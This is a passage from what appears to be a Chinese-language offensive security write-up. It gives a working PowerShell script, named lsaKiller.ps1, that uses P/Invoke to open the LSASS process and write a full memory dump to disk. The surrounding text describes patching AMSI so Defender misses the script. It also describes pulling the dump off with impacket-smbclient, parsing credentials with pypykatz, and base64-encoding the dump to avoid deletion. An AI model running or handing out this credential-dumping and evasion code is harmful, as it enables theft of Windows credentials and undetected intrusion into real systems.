P/Invoke
允许从非托管二进制 Windows DLL
访问结构、回调和函数,以便访问可能无法直接从 .NET
获得的原生组件中的底层 API
。
现在,由于知道它的作用,并且知道可以在 PowerShell
中使用 .NET
,这意味着可以从 PowerShell
脚本访问底层 API
,如果之前修补 AMSI
,我们可以在没有 Defender
监视的情况下运行该脚本。
对于这个PoC
,假设想通过 MiniDumpWriteDump
将 LSASS
进程转储到文件中,该文件在“Dbghelp.dll
”中可用。为此,可以利用fortra
的 nanodump
工具。但是,它布满了太多defender
可识别的特征。相反,可以利用 P/Invoke
编写一个 PowerShell
脚本来执行相同的操作,但可以修补 AMSI
以使其在这样做时变得不可检测。
因此,将为 PoC
使用以下 powershell
代码。
# lsaKiller.ps1
Add-Type @"
using System;
using System.Runtime.InteropServices; public class MiniDump {
[DllImport("Dbghelp.dll", SetLastError=true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
}
"@
$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
}
"@
$processId ="788"
$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)
if ($processHandle -ne [IntPtr]::Zero) {
$dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
$fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()
$result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
if ($result) {
Write-Host "Sucess"
} else {
Write-Host "Failed" -ForegroundColor Red
}
$dumpFile.Close()
[Kernel32]::CloseHandle($processHandle)
} else {
Write-Host "Failed to open process handle." -ForegroundColor Red
}
在此示例中,首先通过 Add-Type
从 Dbghelp.dll
导入 MiniDumpWriteDump
函数,然后从 kernel32.dll
导入 OpenProcess
和 CloseHandle
。然后最终得到 LSASS
进程的句柄并使用 MiniDumpWriteDump
执行进程的完整内存转储并将其写入文件。
因此,完整的 PoC
如下:
LSASS
转储impacket-smbclient
下载转储pypykatz
在本地解析 MiniDump
文件请注意,最后使用了一个稍微修改过的脚本,该脚本在将转储写入文件之前将其加密为 base64
,因为 Defender
将文件检测为 LSASS
转储并将其删除。